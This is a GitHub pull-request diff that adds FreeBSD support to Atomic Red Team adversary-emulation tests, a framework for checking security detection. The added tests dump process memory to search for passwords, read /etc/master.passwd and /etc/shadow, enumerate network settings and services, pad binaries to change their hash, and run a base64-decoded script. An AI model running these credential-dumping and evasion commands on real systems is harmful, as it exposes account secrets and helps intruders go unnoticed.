Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add FreeBSD support #2450

Merged
merged 21 commits into from
Nov 2, 2023
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
50 changes: 48 additions & 2 deletions atomics/T1003.007/T1003.007.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,6 @@ atomic_tests:
description: |
Using `/proc/$PID/mem`, where $PID is the target process ID, use shell utilities to
copy process memory to an external file so it can be searched or exfiltrated later.

supported_platforms:
- linux

Expand Down Expand Up @@ -49,13 +48,60 @@ atomic_tests:
cleanup_command: |
rm -f "#{output_file}"

- name: Dump individual process memory with sh on FreeBSD (Local)
description: |
Using `/proc/$PID/mem`, where $PID is the target process ID, use shell utilities to
copy process memory to an external file so it can be searched or exfiltrated later.
On FreeBSD procfs must be mounted.
supported_platforms:
- freebsd

input_arguments:
output_file:
description: Path where captured results will be placed
type: path
default: /tmp/T1003.007.bin
script_path:
description: Path to script generating the target process
type: path
default: /tmp/T1003.007.sh
pid_term:
description: Unique string to use to identify target process
type: string
default: T1003.007

dependencies:
- description: |
Script to launch target process must exist
prereq_command: |
test -f #{script_path}
grep "#{pid_term}" #{script_path}
get_prereq_command: |
echo '#!/bin/sh' > #{script_path}
echo "sh -c 'echo \"The password is #{pid_term}\" && sleep 30' &" >> #{script_path}

executor:
name: sh
elevation_required: true
command: |
sh #{script_path}
PID=$(pgrep -n -f "#{pid_term}")
MEM_START=$(head -n 5 /proc/"${PID}"/map | tail -1 | cut -d' ' -f1)
MEM_STOP=$(head -n 5 /proc/"${PID}"/map | tail -1 | cut -d' ' -f2)
MEM_SIZE=$(echo $(($MEM_STOP-$MEM_START)))
dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE"
strings "#{output_file}" | grep -i PASS
cleanup_command: |
rm -f "#{output_file}"

- name: Dump individual process memory with Python (Local)
auto_generated_guid: 437b2003-a20d-4ed8-834c-4964f24eec63
description: |
Using `/proc/$PID/mem`, where $PID is the target process ID, use a Python script to
copy a process's heap memory to an external file so it can be searched or exfiltrated later.

On FreeBSD procfs must be mounted.
supported_platforms:
- freebsd
- linux

input_arguments:
Expand Down
23 changes: 16 additions & 7 deletions atomics/T1003.007/src/dump_heap.py
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@
python dump_proc.py <PID> <filepath>
'''
import argparse
import platform


parser = argparse.ArgumentParser(description='Dump a process\'s heap space to disk')
Expand All @@ -15,13 +16,21 @@
process_id = args.pid
output_file = args.filepath

with open("/proc/{}/maps".format(process_id), "r") as maps_file:
# example: 5566db1a6000-5566db4f0000 rw-p 00000000 00:00 0 [heap]
heap_line = next(filter(lambda line: "[heap]" in line, maps_file))
heap_range = heap_line.split(' ')[0]
mem_start = int(heap_range.split('-')[0], 16)
mem_stop = int(heap_range.split('-')[1], 16)
mem_size = mem_stop - mem_start
if platform.system() == "Linux":
with open("/proc/{}/maps".format(process_id), "r") as maps_file:
# example: 5566db1a6000-5566db4f0000 rw-p 00000000 00:00 0 [heap]
heap_line = next(filter(lambda line: "[heap]" in line, maps_file))
heap_range = heap_line.split(' ')[0]
mem_start = int(heap_range.split('-')[0], 16)
mem_stop = int(heap_range.split('-')[1], 16)
mem_size = mem_stop - mem_start
elif platform.system() == "FreeBSD":
import linecache
mem_line = linecache.getline("/proc/"+str(process_id)+"/map",4)
mem_start = int(mem_line.split(' ')[0], 16)
mem_stop = int(mem_line.split(' ')[1], 16)
mem_size = mem_stop - mem_start
mem_start = mem_stop

with open("/proc/{}/mem".format(process_id), "rb") as mem_file:
mem_file.seek(mem_start, 0)
Expand Down
46 changes: 34 additions & 12 deletions atomics/T1003.008/T1003.008.yaml
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
attack_technique: T1003.008
display_name: 'OS Credential Dumping: /etc/passwd and /etc/shadow'
display_name: 'OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow'
atomic_tests:
- name: Access /etc/shadow (Local)
auto_generated_guid: 3723ab77-c546-403c-8fb4-bb577033b235
Expand All @@ -20,11 +20,30 @@ atomic_tests:
rm -f #{output_file}
name: bash
elevation_required: true
- name: Access /etc/master.passwd (Local)
description: |
/etc/master.passwd file is accessed in FreeBSD environments
supported_platforms:
- freebsd
input_arguments:
output_file:
description: Path where captured results will be placed
type: path
default: /tmp/T1003.008.txt
executor:
command: |
sudo cat /etc/master.passwd > #{output_file}
cat #{output_file}
cleanup_command: |
rm -f #{output_file}
name: sh
elevation_required: true
- name: Access /etc/passwd (Local)
auto_generated_guid: 60e860b6-8ae6-49db-ad07-5e73edd88f5d
description: |
/etc/passwd file is accessed in Linux environments
/etc/passwd file is accessed in FreeBSD and Linux environments
supported_platforms:
- freebsd
- linux
input_arguments:
output_file:
Expand All @@ -38,11 +57,12 @@ atomic_tests:
cleanup_command: |
rm -f #{output_file}
name: sh
- name: Access /etc/{shadow,passwd} with a standard bin that's not cat
- name: Access /etc/{shadow,passwd,master.passwd} with a standard bin that's not cat
auto_generated_guid: df1a55ae-019d-4120-bc35-94f4bc5c4b0a
description: |
Dump /etc/passwd and /etc/shadow using ed
Dump /etc/passwd, /etc/master.passwd and /etc/shadow using ed
supported_platforms:
- freebsd
- linux
input_arguments:
output_file:
Expand All @@ -51,16 +71,17 @@ atomic_tests:
default: /tmp/T1003.008.txt
executor:
command: |
echo -e "e /etc/passwd\n,p\ne /etc/shadow\n,p\n" | ed > #{output_file}
echo -e "e /etc/passwd\n,p\ne /etc/master.passwd\n,p\ne /etc/shadow\n,p\n" | ed > #{output_file}
cleanup_command: |
rm -f #{output_file}
name: bash
name: sh
elevation_required: true
- name: Access /etc/{shadow,passwd} with shell builtins
- name: Access /etc/{shadow,passwd,master.passwd} with shell builtins
auto_generated_guid: f5aa6543-6cb2-4fae-b9c2-b96e14721713
description: |
Dump /etc/passwd and /etc/shadow using bash builtins
Dump /etc/passwd, /etc/master.passwd and /etc/shadow using sh builtins
supported_platforms:
- freebsd
- linux
input_arguments:
output_file:
Expand All @@ -69,10 +90,11 @@ atomic_tests:
default: /tmp/T1003.008.txt
executor:
command: |
function testcat(){ echo "$(< $1)"; }
testcat /etc/passwd > #{output_file}
testcat /etc/shadow > #{output_file}
testcat(){ (while read line; do echo $line >> #{output_file}; done < $1) }
testcat /etc/passwd
testcat /etc/master.passwd
testcat /etc/shadow
cleanup_command: |
rm -f #{output_file}
name: bash
name: sh
elevation_required: true
9 changes: 9 additions & 0 deletions atomics/T1007/T1007.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -45,3 +45,12 @@ atomic_tests:
command: |
systemctl --type=service
name: bash
- name: System Service Discovery - service
description: |
Enumerates system service using service
supported_platforms:
- freebsd
executor:
command: |
service -e
name: sh
13 changes: 13 additions & 0 deletions atomics/T1016/T1016.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -53,6 +53,19 @@ atomic_tests:
if [ -x "$(command -v ip)" ]; then ip addr; else echo "ip is missing from the machine. skipping..."; fi;
if [ -x "$(command -v netstat)" ]; then netstat -ant | awk '{print $NF}' | grep -v '[a-z]' | sort | uniq -c; else echo "netstat is missing from the machine. skipping..."; fi;
name: sh
- name: System Network Configuration Discovery (freebsd)
description: |
Identify network configuration information.

Upon successful execution, sh will spawn multiple commands and output will be via stdout.
supported_platforms:
- freebsd
executor:
command: |
if [ -x "$(command -v arp)" ]; then arp -a; else echo "arp is missing from the machine. skipping..."; fi;
if [ -x "$(command -v ifconfig)" ]; then ifconfig; else echo "ifconfig is missing from the machine. skipping..."; fi;
if [ -x "$(command -v netstat)" ]; then netstat -Sp tcp | awk '{print $NF}' | grep -v '[[:lower:]]' | sort | uniq -c; else echo "netstat is missing from the machine. skipping..."; fi;
name: sh
- name: System Network Configuration Discovery (TrickBot Style)
auto_generated_guid: dafaf052-5508-402d-bf77-51e0700c02e2
description: |
Expand Down
12 changes: 12 additions & 0 deletions atomics/T1018/T1018.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -87,6 +87,7 @@ atomic_tests:

Upon successful execution, sh will execute arp to list out the arp cache. Output will be via stdout.
supported_platforms:
- freebsd
- linux
- macos
dependency_executor_name: sh
Expand All @@ -108,6 +109,7 @@ atomic_tests:

Upon successful execution, sh will perform a ping sweep on the 192.168.1.1/24 and echo via stdout if an IP is active.
supported_platforms:
- freebsd
- linux
- macos
input_arguments:
Expand Down Expand Up @@ -270,6 +272,16 @@ atomic_tests:
ip route show
name: sh

- name: Remote System Discovery - netstat
description: |
Use the netstat command to display the kernels routing tables.
supported_platforms:
- freebsd
executor:
command: |
netstat -r | grep default
name: sh

- name: Remote System Discovery - ip tcp_metrics
auto_generated_guid: 6c2da894-0b57-43cb-87af-46ea3b501388
description: |
Expand Down
6 changes: 4 additions & 2 deletions atomics/T1027.001/T1027.001.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -8,14 +8,15 @@ atomic_tests:

Upon successful execution, dd will modify `/tmp/evil-binary`, therefore the expected hash will change.
supported_platforms:
- freebsd
- macos
- linux
input_arguments:
file_to_pad:
description: Path of binary to be padded
type: path
default: /tmp/evil-binary
dependency_executor_name: bash
dependency_executor_name: sh
dependencies:
- description: |
The binary must exist on disk at specified location (#{file_to_pad})
Expand All @@ -39,14 +40,15 @@ atomic_tests:

Upon successful execution, truncate will modify `/tmp/evil-binary`, therefore the expected hash will change.
supported_platforms:
- freebsd
- macos
- linux
input_arguments:
file_to_pad:
description: Path of binary to be padded
type: path
default: /tmp/evil-binary
dependency_executor_name: bash
dependency_executor_name: sh
dependencies:
- description: |
The binary must exist on disk at specified location (#{file_to_pad})
Expand Down
1 change: 1 addition & 0 deletions atomics/T1027.002/T1027.002.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -39,6 +39,7 @@ atomic_tests:
cleanup_command: |
rm /tmp/packed_bin
name: sh

- name: Binary simply packed by UPX
auto_generated_guid: b16ef901-00bb-4dda-b4fc-a04db5067e20
description: |
Expand Down
15 changes: 9 additions & 6 deletions atomics/T1027.004/T1027.004.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -62,8 +62,9 @@ atomic_tests:
- name: C compile
auto_generated_guid: d0377aa6-850a-42b2-95f0-de558d80be57
description: |
Compile a c file with either gcc or clang on Linux or Macos.
Compile a c file with either gcc or clang on FreeBSD, Linux or Macos.
supported_platforms:
- freebsd
- linux
- macos
input_arguments:
Expand All @@ -83,12 +84,13 @@ atomic_tests:
command: |
gcc #{input_file} && ./a.out
clang #{input_file} && ./a.out
name: bash
name: sh
- name: CC compile
auto_generated_guid: da97bb11-d6d0-4fc1-b445-e443d1346efe
description: |
Compile a c file with either gcc or clang on Linux or Macos.
Compile a c file with either gcc or clang on FreeBSD, Linux or Macos.
supported_platforms:
- freebsd
- linux
- macos
input_arguments:
Expand All @@ -108,12 +110,13 @@ atomic_tests:
command: |
g++ #{input_file} && ./a.out
clang++ #{input_file} && ./a.out
name: bash
name: sh
- name: Go compile
auto_generated_guid: 78bd3fa7-773c-449e-a978-dc1f1500bc52
description: |
Compile a c file with either gcc or clang on Linux or Macos.
Compile a go file with golang on FreeBSD, Linux or Macos.
supported_platforms:
- freebsd
- linux
- macos
input_arguments:
Expand All @@ -132,4 +135,4 @@ atomic_tests:
executor:
command: |
go run #{input_file}
name: bash
name: sh
30 changes: 30 additions & 0 deletions atomics/T1027/T1027.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -33,6 +33,36 @@ atomic_tests:
rm /tmp/encoded.dat
rm /tmp/art.sh
name: sh
- name: Decode base64 Data into Script
description: |
Creates a base64-encoded data file and decodes it into an executable shell script

Upon successful execution, sh will execute art.sh, which is a base64 encoded command, that echoes `Hello from the Atomic Red Team`
and uname -v
supported_platforms:
- freebsd
input_arguments:
shell_command:
description: command to encode
type: string
default: "echo Hello from the Atomic Red Team && uname -v"
dependency_executor_name: sh
dependencies:
- description: |
encode the command into base64 file
prereq_command: |
exit 1
get_prereq_command: |
echo "#{shell_command}" | b64encode -r - > /tmp/encoded.dat
executor:
command: |
cat /tmp/encoded.dat | b64decode -r > /tmp/art.sh
chmod +x /tmp/art.sh
/tmp/art.sh
cleanup_command: |
rm /tmp/encoded.dat
rm /tmp/art.sh
name: sh
- name: Execute base64-encoded PowerShell
auto_generated_guid: a50d5a97-2531-499e-a1de-5544c74432c6
description: |
Expand Down
Loading